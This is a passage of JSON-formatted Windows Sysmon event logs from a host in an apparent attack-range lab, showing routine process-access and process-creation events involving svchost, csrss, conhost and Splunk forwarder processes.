11:55:36.349","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4237,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:36.349\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:36.349","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4238,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:36.349\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:36.349","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4239,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:36.349\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4138-5F2D-0000-001065040600}\r\nTargetProcessId: 1952\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:36.349","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4138-5F2D-0000-001065040600}","TargetProcessId":"1952","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4240,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.054\r\nProcessGuid: {90617006-4139-5F2D-0000-00102C060600}\r\nProcessId: 3612\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nFileVersion: 8.0.2\r\nDescription: Active Directory monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-admon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.054","ProcessGuid":"{90617006-4139-5F2D-0000-00102C060600}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","FileVersion":"8.0.2","Description":"Active Directory monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-admon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4241,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.053\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4139-5F2D-0000-00102C060600}\r\nTargetProcessId: 3612\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.053","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4139-5F2D-0000-00102C060600}","TargetProcessId":"3612","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4242,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.053\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4139-5F2D-0000-00102C060600}\r\nTargetProcessId: 3612\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.053","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4139-5F2D-0000-00102C060600}","TargetProcessId":"3612","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4243,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.053\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.053","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4244,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.053\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.053","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4245,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.053\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 